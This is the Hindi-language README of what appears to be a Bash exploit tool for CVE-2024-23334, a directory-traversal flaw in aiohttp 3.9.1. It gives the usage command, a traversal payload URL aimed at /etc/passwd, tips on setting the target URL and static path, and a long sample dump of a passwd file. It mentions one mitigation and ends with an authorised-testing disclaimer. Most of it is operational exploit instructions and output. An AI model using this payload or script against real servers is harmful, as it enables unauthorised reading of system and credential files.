
aiohttp सर्वर संस्करण 3.9.1 पर Local File Inclusion (LFI) हमलों को स्वचालित करने के लिए Bash स्क्रिप्ट।
एक Bash स्क्रिप्ट जो कमजोर aiohttp सर्वरों पर स्थानीय फ़ाइल समावेश (LFI) हमलों को स्वचालित करती है, विशेष रूप से CVE-2024-23334 को लक्षित करते हुए। यह शोषण उन प्रणालियों पर मनमानी फ़ाइलों तक अनधिकृत पहुंच की अनुमति देता है जो अनुचित रूप से कॉन्फ़िगर किए गए स्थैतिक मार्गों के साथ aiohttp के प्रभावित संस्करण चला रहे हैं।
CVE-2024-23334 भेद्यता Python और asyncio के लिए aiohttp एसिंक्रोनस HTTP क्लाइंट/सर्वर फ्रेमवर्क को प्रभावित करती है। यह तब उत्पन्न होता है जब aiohttp को स्थैतिक मार्गों के साथ वेब सर्वर के रूप में उपयोग किया जाता है, जो यदि गलत कॉन्फ़िगर किया गया हो तो निर्देशिका ट्रैवर्सल भेद्यताएं पैदा कर सकता है। यह एक हमलावर को बिना प्राधिकरण के सिस्टम पर मनमानी फ़ाइलों तक पहुंचने की अनुमति देता है।
इस भेद्यता के लिए शमन उपाय में शामिल हैं:
follow_symlinks विकल्प को अक्षम करना।curl: सुनिश्चित करें कि आपके सिस्टम पर curl स्थापित है, क्योंकि इसका उपयोग HTTP अनुरोध करने के लिए किया जाता है।स्क्रिप्ट को निष्पादित करने के लिए, निम्नलिखित कमांड चलाएँ:
./lfi_aiohttp.sh -f /path/to/file/to/dump
यदि सब कुछ ठीक रहा, तो आपको इसके समान परिणाम देखना चाहिए:
[+] Curl output to the resulting url: http://localhost:8080/assets/../../..//etc/passwd.
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
systemd-timesync:x:102:104:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:106::/nonexistent:/usr/sbin/nologin
syslog:x:104:110::/home/syslog:/usr/sbin/nologin
_apt:x:105:65534::/nonexistent:/usr/sbin/nologin
tss:x:106:111:TPM software stack,,,:/var/lib/tpm:/bin/false
uuidd:x:107:112::/run/uuidd:/usr/sbin/nologin
tcpdump:x:108:113::/nonexistent:/usr/sbin/nologin
landscape:x:109:115::/var/lib/landscape:/usr/sbin/nologin
pollinate:x:110:1::/var/cache/pollinate:/bin/false
fwupd-refresh:x:111:116:fwupd-refresh user,,,:/run/systemd:/usr/sbin/nologin
usbmux:x:112:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
sshd:x:113:65534::/run/sshd:/usr/sbin/nologin
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
rosa:x:1000:1000:rosa:/home/rosa:/bin/bash
lxd:x:998:100::/var/snap/lxd/common/lxd:/bin/false
app:x:1001:1001:,,,:/home/app:/bin/bash
_laurel:x:997:997::/var/log/laurel:/bin/false
[+] File dumped successfully.
महत्वपूर्ण: स्क्रिप्ट में
main_urlऔरpayloadवेरिएबल को लक्ष्य वातावरण के अनुसार समायोजित करने की आवश्यकता हो सकती है।
main_url: यह वेरिएबल लक्ष्य aiohttp सर्वर के URL पर सेट किया जाना चाहिए (जैसे, http://localhost:8080)। इसे उस वास्तविक सर्वर पते के अनुसार संशोधित करें जिसका आप परीक्षण कर रहे हैं।payload: यह वेरिएबल सर्वर पर स्थैतिक फ़ाइल मार्ग का प्रतिनिधित्व करता है (जैसे, /assets/)। सुनिश्चित करें कि यह पथ लक्ष्य सर्वर के स्थैतिक फ़ाइल निर्देशिका कॉन्फ़िगरेशन से मेल खाता है।स्क्रिप्ट चलाने से पहले, इन वेरिएबल्स की समीक्षा करें ताकि यह सुनिश्चित हो सके कि वे आपके परीक्षण परिदृश्य के लिए सही ढंग से कॉन्फ़िगर किए गए हैं। गलत सेटिंग्स फ़ाइलों तक पहुंचने के असफल प्रयास या अनपेक्षित व्यवहार का कारण बन सकती हैं।
यह स्क्रिप्ट केवल शैक्षिक उद्देश्यों और अधिकृत पैठ परीक्षण के लिए है। इस स्क्रिप्ट का अनधिकृत उपयोग निषिद्ध है और अवैध हो सकता है।